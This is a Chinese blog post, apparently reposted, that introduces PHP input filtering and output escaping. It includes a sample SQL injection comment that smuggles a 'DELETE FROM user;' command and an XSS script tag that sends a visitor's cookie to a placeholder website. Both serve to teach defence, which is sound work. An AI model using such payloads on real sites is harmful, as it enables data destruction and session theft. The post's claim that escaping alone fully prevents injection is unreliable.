zoukankan      html  css  js  c++  java
  • php安全编程之过滤用户输入和输出转义

    今天的主题是php安全编程需要注意的两个地方:用户输入和内容输出

    一、过滤用户输入

     在大多数动态网页中,用户都可以提交表单来提交特定的内容,比如注册,评论,聊天等等。

    那么在用户将表单提交后,我们后台人员需要注意哪些呢?

    1.永远不能相信用户提交的内容

    2.在将用户提交内容入库前一定要做验证和过滤。

    那么为何我们不能相信用户提交的内容?又有哪些消息信息会对我们造成损害呢?且听我慢慢道来。

    例一、当用户使用手机号注册某网站会员时,一般网站会通过js+ajax后台验证手机号合法与否。

    这个处理的目的在于确认用户使用有效的手机号注册,因为只有有效的手机号才能为我们所用,让我们和用户有更多的互动,进而提取其中暗含的价值。

    例二、恶意评论:有些用户会发送恶意评论,妄图对数据库的内容进行操作,这时如果我们不对用户提交的内容作求过滤的话,可能会给公司带来不可预估的损失。

    例如,提交评论时,用户输入 this is a bad comment"; DELETE FROM user;

    上面的内容如果不做过滤,而且正好数据库中有user表,且用户有user表的操作权限,那么悲剧就可能发生了,user这张表就会被用户删除;想想都可怕。。。

    不过在php中我们只需简单的使用一个函数就可以有效的阻止上述情况的发生。mysqli_real_escape_string(),使用该函数可以有效的转义对数据库操作有影响的字符。

    这样就不会对数据库有危害了。

    二、转义输出

    比如用户的评论内容中有js脚本。这个js可能会在显示评论时执行,这时如果这个脚本有一定的危险操作,那么这将是很危险的。因此我们在输出用户评论时,需要转义评论的内容。

    php中有两个函数htmlspecialchars和htmlentities,前者用来转义&,>,<等字符,后者是转义所有html标签,这样在前台显示评论时,脚本就失效了。保证了访问者信息的安全。

    例如:<script>this.document = 某个网站地址?+this.cookie</script>  转义后会变成 &lt;script&gt;this.document = 某个网站地址?+this.cookie&lt;/script&gt;

    以上就是我对php安全编程的一些方法总结,感谢您的阅读

    注:因本人的技术有限,如果有理解错误的地方,还请各位批评指正,共同交流学习,谢谢大家。我会继续努力的。

  • 相关阅读:
    【嵌入式linux】(第三步):安装串口终端 (ubuntu安装minicom串口终端)
    vim常用命令总结
    usb调试
    查找当前文件夹内容
    Android SDK开发包国内下载地址
    ubuntu下svn使用指南
    Ubuntu vim显示行号语法高亮自动缩进
    android_handler(一)
    HDU 1241 Oil Deposits (DFS)
    计划
  • 原文地址:https://www.cnblogs.com/lovecucu/p/6096890.html
Copyright © 2011-2022 走看看